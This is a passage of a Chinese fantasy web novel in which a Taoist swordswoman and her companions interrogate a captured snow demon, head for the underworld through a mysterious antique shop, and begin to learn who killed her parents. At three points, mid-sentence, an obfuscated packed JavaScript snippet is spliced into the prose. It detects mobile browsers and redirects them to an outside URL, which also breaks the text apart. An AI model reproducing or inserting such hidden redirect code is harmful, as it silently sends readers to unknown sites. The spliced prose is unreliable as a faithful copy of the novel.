老鬼莲,名号为鬼,实则为妖,狡猾奸诈,酷爱戏曲,沉迷美色。身穿戏服,擅用水袖,常掳掠平民少年,能驱策巨型莲花。近年崭露头角,据考证,乃天心沭之父。 这一段,此前也绝对没有出现过。或者不如说,此前江湖中根本鲜有人知老鬼莲和天心沭的血缘关系,就连无律经营客栈多年也未曾打探出这一层。 苍名草草地换上衣服,用海蓝色长袍的边角料束起马尾,急匆匆地下楼喊道:“无律!” 无律从灶房里探出半个身子:“干什么?” “这本册子,到底哪里来的?”苍名举起百强谱,“是你自己亲手抄的,还是别人抄的?给你的人是何方神圣?” “什么跟什么,你一个一个问行不行?”无律一手架着拐棍,一手挥舞着汤勺,“我怎么会记得是哪只小妖给我的,反正不是我抄的,你看字迹也知道嘛。”说完,他就缩回到灶房中一边继续熬汤,一边高声叫卖了。烟囱把他的声音传到远方,那是只有妖鬼能听见的符文召唤。很快,全城的妖鬼都会知道这里有新鲜出炉的汤药,一碗即可维持人形长达数个时辰,道士秘方,价格公道,童叟无欺。 苍名转头向寻烟问道:“我不在的这段日子里,有没有什么陌生人进过我的房间?” 寻烟依旧竭诚笑着说:“这是自然没有的,掌柜的向来交待我们勿要随意进出客房。” 魏羌肩上搭一条毛巾,一会儿大步送客到门口,一会儿穿梭于木桌之间,此时一路小跑过来问:“怎么了怎么了?”希声也还未就寝,用一块布擦拭老旧的二胡,二胡断了的弦已然补好。 苍名亮出手里的册子,压低声音说:“这本书有蹊跷,原本一直放在我房里,上面的字却……动了?” 无律再次探出半个身子:“什么叫动了?” 苍名斟酌着说:“里面凭空多出了几行字,是关于老鬼莲和天心沭的最新故事。” 希声睁开眼睛,扫视一圈大堂,冷冷的目光依次略过几位漏夜前来喝酒的小妖。 苍名问:“无律,你那架隔音屏风呢?” 无律把灶上的汤转交给觅霞,拄拐走出来说:“这里妖多口杂,到我房里去说。” 苍名打头,无律殿后,四人排成一路纵队,拾级而上。二楼走廊颇为幽深曲折,在尽头拐了一道弯。苍名推开转弯后的西侧第一扇房门,只觉豁然洞开,屋内整洁肃静,泛着一种金属般的冷光。仅有的一床一桌上几乎没有任何东西,包括铺盖。靠墙角有个石头磊成的五层柜子,里面码着品类纷杂的乐器和写字用的纸笔。 希声说:“这间我的。” 苍名说:“抱歉。”于是关上门继续往走廊深处走,终于在东侧第六间门上看见一块木牌,上书:逍遥仙郎。 两侧贴着一副对联,上联是:钟灵毓秀通商贾。下联是:百年豪杰出此仙。魏羌上下打量品读,缓缓点头,流露出歆羡之意。希声哼了一声,说:“我再送你个横批,霹雳算盘,岂不妙哉?” 苍名则问:“最近有一阵没见你打算盘了,怎么,客栈不亏钱了?” 无律恼羞成怒道:“进去。” 四人鱼贯而入,无律关上房门,转身以胜利者的姿态抱起膀子,满意地享受着其余三人的惊奇目光。 房内帷幔重重,轻纱飘动,几十支鎏金烛台上燃烧着朱红色蜡烛,墙角一只火炉烧得猎猎作响。在纱影与火光之间,每一件陈设都珠光宝气地闪耀出各色光芒,玉案、宝座、花几、斗柜、书橱……将一间屋子塞得满满当当。苍名恍惚了一会儿,才发现大小物件上都镶嵌着名贵宝石,宝石折射出交错的亮色。 魏羌呆呆地问:“床在哪?” 无律哼哼一笑,用拐棍将一旁的隔音屏风收起。一张拔步床赫然出现,一进又一进,十分幽深华美,如果说是通向秘境也颇为可信。香薰炉里散出阵阵花香与酒香,片刻便令人头晕目眩,虽不知要去往何处,却心驰神往。 见这三人一脸呆滞而痴迷的表情,无律伸手在他们眼前挥舞道:“哦哎,不是说正事吗?” 希声和魏羌转向苍名,木然道:“不是说正事吗?” “是要说百强谱。”苍名精神涣散地说,“要不然,先把熏香熄了?” 无律噘着嘴拿起一片锅盖样的厚重铜板,沉沉地压在香炉上。香气熄灭了,屋里的一切变成了石头。 石头垒成的条案,座椅,高几,斗柜,书橱……合适光秃的器物上弥漫着灰尘般的雾气,昏黄的烛光消弭在暗淡的石色里,使得房间像一艘海底沉船。只有那架施了咒语的隔音屏风还水灵灵地站在原地,与破烂的客栈格格不入。 魏羌最先叫了起来:“哎呀,怎么回事?那些珠宝呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172748|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手摸了一把近处的石柜,猛地一拍大腿:“莫非就是这一晃的功夫,有个毛贼进来把宝石都抠走了?什么毛贼这么大胆?能在仙人房里偷东西?” 苍名笑了笑:“这一切本来就是幻象。” 希声说:“香雾散,幻境止,青石出。不过是些妖鬼炮制的小把戏罢了,你从哪里弄来的?” 无律说:“还能是哪里,当然是一些小妖喝了汤又没钱会账,拿这幻彩迷香来抵账呗。” 魏羌略感惆怅地说:“当仙人真好啊,能享用到这么稀罕又宝贝的东西。只可惜是假的,用石头变的……” 无律笑嘻嘻地用拐棍杵了一下石板地面,说:“魏兄弟,以后你就知道了,你活这一世,天地之间万事万物都是假的,没有什么不是幻象。” 苍名本想催促几人谈论正事,听到这里却不由得想到魏羌肉体凡胎,终会老死,不禁悲从中来,诚心诚意地说:“魏兄弟,你现在已颇有些修为,若能炼出金丹,便可成就一副金刚不坏之体,延年益寿,乌发童颜,逾百岁而不老。” 魏羌说:“鬼克星,你放心,修行之人谁不是冲着成仙去的呢,我心里有数。” 苍名刷一下打开手中的书卷,灰尘和纸屑簌簌飘落:“那么,就让我们来看看这妖异东西吧。说不定你多抓些妖怪,就成仙了呢。” 魏羌凑过来看了两眼:“哦,写天心沭和老鬼莲的。民间志怪?” 希声站在房间另一头,猛地睁开眼睛,锋芒四射。她远远地注视着册子上的小字,说:“这上面写的都是新近发生的事。” 苍名说:“不错!这些事发生时,只有我们几个在场,并没有其他人看见。” 希声说:“墨水被施了咒,能随施咒者的心意而变化字迹。” 无律摸着下巴纳闷道:“那究竟是谁搞出来这册子呢?用这册子抵账的小妖自然是平平无奇的,我连个印象都没有……” 希声冷冷地笑了一下:“这册子的真正主人,当然是每次出事时都在场的人。” 无律和魏羌面面相觑。魏羌举起双手说道:“总不会是我,我可没有此等本领,我也不是每次都在场。” 希声对苍名说:“你那旧货郎,摆明了来头不小。你该不会真的相信他是给古董店倒卖货物的小贩?” 无律说:“霍贤弟吗?他也许大概可能不是个凡人吧,谁知道。不过他好像对苍姐还是蛮不错的,也不像是……” “我大概懂了。”苍名抬起头,静静地说,“原来这是幻形墨水。我懂了。”她转身打开门,沿着昏暗走廊踱步,烦躁地抱起手臂。出自未辞之手的册子流落到她的手里,无论如何也不像是巧合,难道这册子里也有监视她的机关? 想到自己刚才一边泡澡一边翻开这本书,她顿时两眼一黑。 “怎么搞的,这么冷!”无律大声抱怨着走出来,“问问寻烟和觅霞,门窗关好了吗?” 走廊的板壁上,蒙上了一层薄薄的冰霜。苍名突然心里一紧,脱口而出:“当心!” 一尊意外矮小的煞白色雪雕从拐角处现身,一步一步走了过来。 嗒,嗒。 她的脚上,还穿着血红色的绣花鞋。 35. 一战泯恩仇 沙沙两声,一张黄色符纸和一张大红色符纸从黑暗深处飞来,黄符似乎比红符更快。两张符纸一前一后,正正好打在天心沭一左一右两个肩膀上。天心沭立刻被定在原地,一双白色的眼睛狠狠地盯着苍名。 希声和魏羌从苍名身后走了出来,希声对他淡漠地说:“功力进益了。” 魏羌大声说:“是,奏潮仙!” 苍名抬手召出空坛子,毫不客气地对天心沭说:“想不到你能爬出来。” “我,乃一方之王!”天心沭声音嘶哑,个头缩水,看起来已经和苍名差不多高了。因大伤元气后不仅没能疗养,反而被封印在坛子里,她看起来不再是一尊巨大的雪雕,而是一副快要碎裂的脆皮壳。 无律连声说:“快快快,快装回去呀!” 苍名冷笑道:“没关系,我正好有些话要问她。”说着扬手反手使剑柄挑起天心沭的袖子,纵身而起,携着一尊雪雕越窗而出,两人轻轻落在息园三坊的后院中。 无律当当地拄着拐杖跑出来:“吼哟,不知道的还以为你长剑上挑了个汉白玉的酒葫芦。”希声和魏羌紧随其后。四人松弛地围绕着天心沭站定,将她包围在中间。 苍名对无律点点头:“在院子里,应该不会把客栈打烂的。” 无律说:“你还真是守信。” 身后的客栈里鸦雀无声,早在冰霜降临的那一刻,饮酒喝汤的客人就纷纷冻跑了。冷风来去,乌鸦盘旋。天心沭咬牙切齿地说:“虎落平阳,遇见你这杂种算我倒了血霉。” 苍名手腕一抖,长剑转了一轮,剑柄在手,剑鞘直指天心沭的喉咙。她紧紧盯着天心沭的雪脸,沉声问道:“你抓过多少个活人,杀死多少,留下多少,一一说来。” 天心沭贴着两张鲜艳符纸,定在原地,睚眦欲裂,认识苍名以前大概从未遭受此等奇耻大辱。她呸了一声,骂道:“狗娘养的才抓人吃,从第一天起你就说我抓人,到底是谁抓人?”不等苍名说话,她换了一口气,又歇斯底里地吼道:“现在到底是谁在抓人!睁开你的贼眼看看!” 希声无声无息地走到天心沭身后,冷不防开口道:“你洞中还有多少活人。” 无律说:“不错。要不是为了活人,有的是咒文和法器对付你,你早就化成水了。” “我们打得够多了。”苍名换了一副平和的嗓音,循循善诱道,“只要交出活人,我们自然不为难你,你给我们带路去放人就是。” “你们三个一窝生的贼老鼠,有的唱红脸有的唱白脸,把我当成三岁小儿摆弄不成?”天心沭这一次竟然笑了,越笑越苦,悲壮苍凉,到最后雪白的头发一丝一丝地蒙在脸上。 魏羌似乎从这句话里意识到自己什么都没说,有失身份,于是他也大声说了一句:“兀那雪雕,快快招来!” “说什么?”天心沭猛地收起笑声,厉声斥道,“若不是借着那小白脸的能耐,单凭你们能把我变成这样?” 无律立刻说:“单凭我们当然能!” 魏羌帮腔说:“他们是息园三仙!” 苍名冷笑道:“要不是你天心沭阁下的雪树森林封印了我的法力,收你本不在话下。那道结界可不像出自阁下之手,我看是哪位世外高人的杰作吧。” 而希声敏锐地往苍名这边看了一眼:“哪个小白脸?是旧货郎把她打成这副德行?” 天心沭死死地看着苍名的眼珠,说道:“哈,难道你还没向你这些獐头鼠目的同伙介绍那位小白脸?怎么,你这蠢道士想把他扮成好人,将来你飞升了就把他绑在你的腿上当宠物?”她嗬嗬怪笑了两声,希声的脸色微微有变。 苍名的神色也难看起来,略感没脸地对其余三人说:“并非是我有意隐瞒你们,这事日后再和你们细说吧。” 无律无忧无虑地笑着说:“霍贤弟是人是鬼的,又有什么所谓。小店刚好是做这行的,见得多了。”他又向希声和魏羌一摆手,嗔怪地说:“啥你也稀奇。” 苍名对天心沭说:“今日是问你罪行,与他人无关,请阁下不要东拉西扯。” 天心沭又呸呸地说:“谁他妈要扯你的小白脸了?莫非我一介帝王,要靠着抖搂他的破事来要挟你不成?” 苍名突然一拍掌,暴喝一声:“好!”她点着头,步步紧逼道:“阁下一身浩然正气,想必会把洞中的活人死人、做过的好事恶事,全都一并如实说清。” “他妈的。”天心沭轻声说道,“什么话都让你说尽了。” 苍名抱起手臂,两人互相看了一会儿。天心沭说:“你何不直接将我化成水。” “实不相瞒,非到万不得已,我还不想出此下策。”苍名说,“我本想让你带我去找令尊,赶在李小姐之前抵达,免得让她一个凡人独自跟令尊对峙。” 天心沭沉默良久,终于说:“当初你和小白脸来我黑山洞中,曾说要用三个条件跟我做交换。” “当时我说过,只要交出活人、不再作恶,天心沭阁下可以开出三个条件。”苍名对其余三人解释了一句,又转向天心沭,“只是,这之后又是水灾,又是瘟疫,比那时多添了好几件祸事,已经不能再由着阁下开三个条件了。” 天心沭不耐烦地说:“我再说一遍,我听不懂你的话。” “如今阁下只能开出一个条件,但这条件任君定夺。”苍名心平气和地说,“水灾和瘟疫,源头出自十七烟,那里虽然由令尊的花妖把守,却也有不少绣花鞋,更有一具阁下的假壳。” 天心沭霎时间嗓子哑了。苍名继续说道:“也许逢焉城的祸事皆从令尊起,但阁下到底有没有插手,介入了多少,谁也不能下定论。” 几个人都居高临下地看着天心沭。 “绣花鞋?我的假壳?好,好,好。”她难以置信地点头道,“好一招栽赃陷害,移花接木。” 希声问:“不是你?” 天心沭声音微微发抖:“我没有做过这些事。我抢过未央冠,也想过把手下的军团扩张一倍,但我从不做这种低级又无用的小事。” “……”苍名说,“逢焉城的若干人命,可不是小事。” 天心沭突然对他们说:“我不明白他怎么会这样。他可是我爹……” 苍名与其他几人交换眼色,彼此看出了一致的心思,都觉得蔑视一切的天心沭或许不至于说谎话。无律说:“累了吧,快坐下说。”他一挥手,寻烟和觅霞就从后门漂移而出,行云流水地架起天心沭的胳膊,一左一右将她搬到大堂,安置在一把太师椅上。 其余四人走到天心沭对面,齐齐落座,共挤一条长板凳。 双方面对面坐了一会儿,天心沭说:“我们什么时候去找师姐?” 不等几人回答,她又不由自主地说:“师姐在人间走投无路时,我在冥界给她找了个地方住着。她平时闲不住,做些手绢绣鞋之类的东西,我派副将取了拿去卖,再把卖得的钱捎给师姐。如果她路上盘缠花光了,说不定还会卖鞋为生。” 苍名低头瞥了一眼,天心沭脚上的绣花鞋鲜红妖异,与客栈的青色鬼火蜡烛相映成趣。天心沭说:“不错,这双绣花鞋就是师姐的手工。她常说,红色配我。” 无律响亮地笑了一声。 “音律仙,你别笑呀。”魏羌见事态有变,又念及天心沭曾顺手救过自己的旧情,不禁气焰顿消,“雪色配大红,可以的,有种白雪红灯笼的况味……” 天心沭阴翳地盯着无律,说:“你笑什么。你知不知道,我生来就这个样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172749|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不是谁都敢看我这个样子的。只有我师姐不怕我。” 苍名说:“诶,哪里,你这样子不是很不错么。” 天心沭怒道:“你个成天抓鬼的,净和丑东西打交道,怎么敢拿我和他们比?” 无律插嘴道:“咦,谁拿你跟他们比了?再说人家抓遍九省三十六州,什么美鬼没见过,说你长得不错是夸你呢。” 天心沭盛怒之下,法力有所回升,体型竟然变大了一圈。只听啵地一声,她左肩上那张大红色符纸弹了出去,在空中炸成几片灰烬。 苍名早已一跃而起,一手扶剑,戒备地看着天心沭。 沙沙两下,天心沭拂去右肩膀上的黄符,款款地站起来走到大堂中央。苍名说:“我们不想乘人之危,阁下不要再做无谓挣扎,坐下来商量怎么找李小姐才是正事。” 天心沭充耳不闻,忽然平举起两条白练般的手臂,原地飞转起来。宽大的袖筒随着她一起狂飞,客栈里的桌椅板凳全都嗡嗡鸣响,疯了似的原地跳动,好像即将爆破炸开,砸向高高的天花板。 “不要砸客栈!”无律大喊一声,飞扑上去抱住最近的一张桌子,又抬起一只脚踩住旁边一张凳子,忙得不可开交。 苍名猛地举起坛子,希声和魏羌又开始向大堂四周发射符纸:“护!” 天心沭却是一串点翻身,旋转如陀螺,毫不费力地闪身躲开坛子口,炫技般地打起一套秘传拳法式的舞蹈,或者说跳起一套舞蹈式的秘传拳法。一招一式,一呼一吸,一张一弛,时而恣意延伸如同风中柳,时而刚劲如同过天星。桌上的茶壶酒盏、柜台的纸笔算盘、后厨的锅碗瓢盆,全都叮咣猛响,像被乱棒打砸一般。头顶那几排纸人手拉手颤抖起来,突然尖声怪叫,烟冒绿光。 苍名一只胳膊夹着坛子,竟呆呆地看了一会儿,才用另一只手挥剑荡开她的宽袍大袖。天心沭拔地而起,向后翻身落地,以进为退,故意卖个破绽。 苍名明知是诈,却反而欺身而上,只用一只手使剑,与天心沭斗在一处,打得难解难分。希声和无律各守一边,魏羌拔出痒痒挠跳上楼梯,三人凝神观战,并不一哄而上以多欺少。 借着转身错步的巧劲,苍名化去她迎面劈来的凌厉掌风,顺势一剑拍在她后腰上。 啪地一声,剑鞘平平击出,天心沭往前踉跄几步。如果宝剑出鞘,这尊雪雕早已被豁开一道裂缝。 两边都住了手。各式杂货都当啷一声落回远处,大堂终于恢复阴郁沉静。苍名脸色惨白地盯着天心沭,天心沭说道:“看见了?我就是要让你知道知道,起舞作法术,不是你狗道士独一门的绝招。” 无律咂嘴道:“知道了知道了。你突然表演这个做什么?” 希声冷笑道:“当然是不甘于受你的下马威,要摆出样子给你瞧瞧。” 无律立刻反驳道:“什么我的,是你的下马威,是给你瞧瞧……” 这一头,天心沭一挥袖子质问道:“说啊,你还得意什么?” 苍名仰起头看着天花上悬挂的一排排纸人,实际看见的却是一片虚空。她说:“人外有人,天外有天。虽然在下未必能作出此等独树一帜的舞蹈,但此生有幸见过已经是福分。” 天心沭笑了三声,哼,哼,哼。 苍名没有任何表情地说:“走吧,带我们去找令尊。你说你没有杀过活人,我暂且信了。” 天心沭说:“找到他之后怎么样?” 苍名笑了笑说:“你放心,我们自然是审问清楚再做定夺,不至于要了他的命。” 只是可能会镇压在山下、或剥去法力打回原形罢了。希声和无律了然于心,魏羌也转了一下眼睛。 天心沭思忖良久,说:“那么,我需要回冥界。” 36. 笑逢棋对手 苍名转头低声对无律说:“你还能借到去冥界的钥匙吗?” 无律幽怨地说:“方才的客人都被冻跑了,这会儿去哪里借呢?不急的话,等天亮以后下一拨客人上门吧。” 天心沭却坚持道:“等不了。” 无律抱着膀子说:“我只能放消息给我熟识的小妖小鬼们试试,不保证一定会有效哦,我又不像你雪雕大王有权有势。” 苍名无奈道:“好了好了,天心沭阁下平时是怎么往返人间与冥界的,这次能不能带着我们?” 天心沭怒道:“当然是用我的法术,你觉得我现在这个样子办得到吗?” 希声幽幽地说:“我们也可以等你复原再出发。” 不等天心沭爆发,苍名说道:“那么,有没有什么去冥界的办法,比如……顺着春秋渡漂过去?” 她的提议立刻被一片激烈的声音否决了。天心沭不耐烦地说:“你就不会找个最近的入口么?那个古董店不行么?” 苍名后背一凉:“你怎么知道那里的?” 天心沭嗤道:“四海八荒,谁不知道逢焉城的古董店?” “……”苍名说,“我以前就不知道。” 天心沭轻蔑地说:“那店主从不露面,未必看得起你,你直接把门炸开,我们闯进去找入口!” 无律摸着下巴说:“我看这样,霍贤弟不是在那里打更吗,我们去求求他放我们进冥界,如果他不答应,我们就后半夜偷着溜进去!” 苍名这才得知未辞的古楼本是众所周知的冥界出入之处,只不过从不对外开放,专供店主御用。于是她也不再替未辞隐瞒:“不错,我们可以试试。只是古董店主既然行为神秘,就一定不希望太多人看见那道入口。” 无律接过她手里的坛子,像拍西瓜一样拍了两下,对天心沭说:“劳驾,你能不能回坛子里?” 天心沭骂道:“滚!” 苍名严肃地说:“实不相瞒,我既担心阁下窥见古楼的机关所在,也担心阁下突然半路扔下我们逃走。” 天心沭反而不觉冒犯,哼哼一笑:“你们闯我山洞时,怎么不怕窥见了我的机关?” 魏羌从怀里掏出一块红绸子:“这样吧,大王您把眼睛蒙住就行啦。” 天心沭又要张嘴骂人,希声忽然从沉思中惊醒,伸手化出千境琵琶,利落地拨了几下,指法精湛,弦声铮铮。 天心沭立在原地,忽忽悠悠地陷入昏睡之中。希声收起琵琶,催眠曲声还在房梁上缭绕了一番,才逐渐散去。 无律珠联璧合地一挥手,几张纸人从绳子上跳下来,在空中迈开短腿,窸窸窣窣地跑到天心沭四周,抓着她的衣袖轻轻一提,带着她向门口漂浮移动。 希声捡起苍名那件斗篷穿好,兜帽一扣,阴影遮住大半张脸。她冷冷地说:“走吧。” 苍名忽然想起什么,双手摸了一下两个耳垂,发现传音耳环还戴在耳畔。她又伸手到希声斗篷里掏着:“对了,我得找一下唇脂……” 希声冷不丁笑起来:“哈哈。” 魏羌奇道:“奏潮仙,你竟笑了。” 希声说:“痒。” 这支奇怪的队伍向着古楼出发了。无律和魏羌一脸肉麻地看着苍名,苍名边走边往嘴上涂着薄薄的唇脂。 想要在脑海中传音过去,却又难以开口。一边因为银发冠和百强谱的事唧唧歪歪,一边又去借用人家的冥界出入口,苍名犹豫了半天,没等传出音来,已经到达古楼后门。 其余人遥遥站住,以示尊敬。空中那几张飒飒作响的纸人抓着天心沭,使她的脚离地约有一寸。苍名走上前,欲叩响门环。 就在她的手触碰门环的一瞬间,门突然豁然洞开。银光如水般倾泻而出,扑面而来的是一股凌厉劲风,暗含着隐约的杀机。 未及细想,多年来练就的直觉反应和精湛技艺,让苍名向后高高跃起,一个彩云拖尾般的潇洒空翻,如同绸带舞成的圆环,虽才退开,复又挺来。寒光一闪,长剑出鞘。 叮一声,一根修长结实的手指弹开剑刃。 苍名长剑几欲脱手,幸而顺势飞挽了几个剑花,卸去力度。彼此打了个平手,谁也没有占到上风。看清对方的身形相貌,不禁都一怔。 这一开门就出了个大招的人,竟是未辞。 而苍名的双腿还悬在空中,后腰弯折,上身向前探出刺剑,恰如倒挂揽月。 电光火石之间,不等未辞开口,苍名忽然微微一笑,第二招如冰蛇狂舞般绚烂袭来。未辞侧身避过,欺身而上,迎面接招,一拳一掌变化无穷,似是毫不手下留情。 他的嘴角,也带上了和苍名一样的有趣笑意。 转眼间两人叮叮当当地过了上百招,从门口打到森林边,又从森林边打到江水边,月色西斜,才意犹未尽地停手。 苍名仍旧是舞如莲绽,浩气涤荡,忽而落地收定,唯有天动地动,而身自不动。 未辞则是身形刚劲,缓缓收式,自有一派气吞山河之势。 只听一旁无律嚷道:“怎么搞的,你们俩怎么打到一块去了?吵架啦?” 魏羌解释道:“音律仙,我们习武之人,以武会友也是常事。” 希声则看守着由纸人提拉的天心沭,默默观战,不置可否。 未辞对这几人看都不看,只是背着手望向苍名,双眼亮光流动。他说:“我很久没有和人这样畅快地过招了。” 苍名得意地笑道:“我也很久没有这样跟人练功了。”想当年忘仙派弟子刻苦练功,时常两两过招,苍名却很少有棋逢对手的过瘾时候。 他又说:“上一次,是千年以前了。” 苍名摆手客气道:“哪里哪里,也不必夸我是千年第一剑客,哈哈。” 未辞的喜悦眼神中混合着一丝忧郁。 再抬起目光时,他说:“将军,方才我察觉到天心沭的妖气停在楼后,以为是她前来挑衅,不知是你来。” 苍名爽快地拍了拍他的肩:“是我没有事先知会你,不怪你认错。” 未辞看着她的头顶:“你的发冠,摘了?” 苍名说:“是啊,洗澡时,摘掉了。” “难怪我以为你还呆在客栈。”他淡淡地说了一句,随即便转身往门里走去,只留下一个背影。 “未辞,我们这么晚来打扰你,是为了去冥界。”苍名硬着头皮开口道,“总是拿你这里当通道,真是抱歉了,不知能不能让我们过去?” “要把她扔回冥界么?”未辞瞥了一眼天心沭,略带憋闷地说,“将军这么客气做什么,我自然是会带你们过去。” 苍名连连推脱,声称夜色正浓,让未辞好好休息,自己一行人去去便回。未辞说道:“将军,我恰好也要去冥界讨债,你知道的。” 不等苍名再说,无律就挤进门里:“走吧走吧。” 希声和魏羌每人出一只手,挟着天心沭紧随其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172750|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。那几张纸人唰唰地脱离天心沭,哗啦啦向后退去,虽然寒夜无风,它们却像被吹着似的飞回客栈去了。 苍名对未辞说:“这两日我想到一件事。黑山洞地牢里的未央冠,不知是不是老鬼莲偷走的?” 无律在旁边接道:“老爹出入女儿的洞府,倒是方便得很吧。看他们打成那样,说不准,说不准。” 苍名说:“所以这次咱们去找老鬼莲,不光要……” “原来是要去找他?”未辞的脸色微妙地变了,“将军,你想去冥界随便抓个鬼打一打自是好说,找你那位游大公子赔罪叙旧也并无不可,至于捉拿老鬼莲的事,还是不必了。” 苍名莫名其妙地说:“这是怎么说?行侠仗义可是我的本分啊,老鬼莲害人无数,况且李小姐又……” 无律问:“喂,霍贤弟,走不走了?” 未辞干脆地说:“不走。” 要说一点不丢人是假的。当着三位朋友的面,苍名略感颜面扫地。还有一丝愠怒和烦闷,是她自己也没有察觉的。 未辞垂眼盯着苍名,长叹了一口气。苍名张嘴便说:“不用叹气,我不从你这里过了。” 未辞却一挥手就关上后门,希声几人走也不是,留也不是,一时陷入尴尬。 苍名也不明白自己怎会如此多思易怒,还对人不依不饶?从前她替人抓鬼,有时被人赖账,有时被人嫌这嫌那,她也从来不大放在心上。 至于住在废弃村屋、又突然被赶了出去,更是常有之事。从流浪的第五年开始,苍名就已经悟到,即便贵为仙人,也只是体会着这世间的好事和坏事,而不能掌控什么。 苍名低着头不敢看他,有些羞惭地对未辞说:“抱歉,是我……” 一只熟悉的大手托着两个歪瓜裂枣的陶人,无声无息地伸到苍名的鼻子底下,反倒把她吓了一跳。 “这是李弦真托你看管的东西,这些年来被她藏在弦真屿上。”未辞声音冷峻,空荡古楼中隐隐有回声来去。 天心沭的白色瞳仁在白色眼眶里疯狂乱转着,她的眼里竟有一派山雨欲来的狼藉之意。 未辞说:“将军,这两个人偶,就是当年害死你父母的真凶。” 苍名猛地抬起头,直直地瞪着他,眼睛大睁,不知其是何用意。她的心脏又嘣嘣狂跳起来,胸腔的空气都泵了出去,仿佛再也吸不进来。 魏羌问:“什么?鬼克星的父母竟不在了,还是被人杀害的?” 希声上下扫视着未辞和陶人,无律抱着膀子开腔了。他先用拐棍指了指陶人,又指了指未辞,说:“霍贤弟,你们俩吵架归吵架,干嘛提我世伯和伯母的惨事呢?那两个烤糊了的丑玩偶怎会杀人?” “将军,如果李弦真的父母害死了你的父母,难道你还要趟这浑水去帮她对付老鬼莲?”未辞的浓眉压了下来,“将军,我知道你不会信我,所以,还是让当年的人来对你说吧。” 疾风四起,泛着银光。在场众人的头发乱飞,柜台后的货架都格格作响,一扇禁闭的柜门突然砰地一声爆开。 一只人偶跌跌撞撞地从柜门里冲出来,蹦到未辞脚下,满地轱辘打滚。 苍名盯着那人偶看了一会儿,发现那是算命李,李老太太的泥人,上一次未辞拿出来给她看着玩。 接着,那算命李的泥人轻轻炸响,被白烟笼罩。待得白烟散尽,一个佝偻的老妪站在原地,恭敬地对未辞说:“大人,您召唤我。” 37. 一朝真相白 “是个活人!”魏羌惊叫一声,从后衣领中拔出痒痒挠,笔直地指向那位老妪。 无律懒洋洋地说:“别慌,别慌,只是把活人变成人偶罢了。” 活了的李老太太袖着双手,面向这几人,深深一鞠躬:“大人的贵客,有事请吩咐。” 苍名脑中还在想着父母的事,木然地看了这老太太一眼,说:“你怎么拿手下人当一件东西,不用的时候就变成人偶?” 未辞默然不语,过了一会儿才说:“将军,我知道你总觉得我身份低微,做的都是些不上台面的事。” 希声已经靠在墙壁上抱起膀子,闭目养神。她冷冷地说:“他的身份不低微,这些法术不是小妖小鬼能做的。” 李老太太躬身向未辞说:“大人召唤老奴,所为何事?” 未辞抛了抛手中那对陶人,又一扬手扔进柜子深处。天心沭看起来快要气到冒烟,苦于不能动弹。 未辞看也不看李老太太,沉沉地说:“这东西你认识。照你知道的讲给这位姑娘听。” 李老太太的卑微,未辞的矜贵,关于父母的记忆,一切都让苍名感到难受。 未辞又不咸不淡地加了一句:“拣能说的说出来。” 李老太太始终袖着手,毕恭毕敬地对苍名说:“老奴活了有一把年头了,从前略懂周易,能开天眼,都叫我算命李。我年轻时……也就是年过百半时,投靠到店主大人的门下做事,一直至今。” 苍名盯着那两个陶人。难道是这两个陶人从高处落下,砸死了父母不成? 李老太太说:“这对陶人,本是一对夫妇,因为做了损事,被店主大人变成了人偶。要说起来,也是十年前的事了。” 苍名的心哆嗦了一下。无律叫道:“十年前?不就是我世伯和伯母出事的那年?” 希声睁开双眼,怀疑地打量着那对荒诞人偶。 李老太太低眉顺眼,袖着手娓娓道来。她说别看这对夫妇平日里装得人模狗样,那是因为没人惹他们。你要是有一点没遂他们心意,你试试,非下黑手搞你不可! 魏羌连连点头称是。 李老太太又说,某年某地,有一位顶顶温良正直的夫人,发明了一剂高明的汤药,配方复杂却净是些廉价药材,能治瘟疫,能救贫贱之人于将死之际。这夫人哪,精通药理,苦心钻研数年,才配出这方子。 无律和希声的脸色都变了。只有魏羌眼睛发亮:“啊呀,莫不是医神降世?用了哪几味药材?我们老参派怎地从未听说过这奇方?” 李老太太叹道:“这方子没等广为流传,就被抢去了!” 苍名脸色和嘴唇全都白了。淡色唇脂浮在没有血色的嘴唇上,仿佛淡淡的晚霞渡在冰上。未辞看着她,突然说道:“好了,就这样,不用再说了。” 李老太太立即住口,当然为时已晚。苍名打开了未辞伸过来扶她的手,对李老太太道:“说下去。” 未辞看着自己被推到一边的手,破天荒地愣在原地。 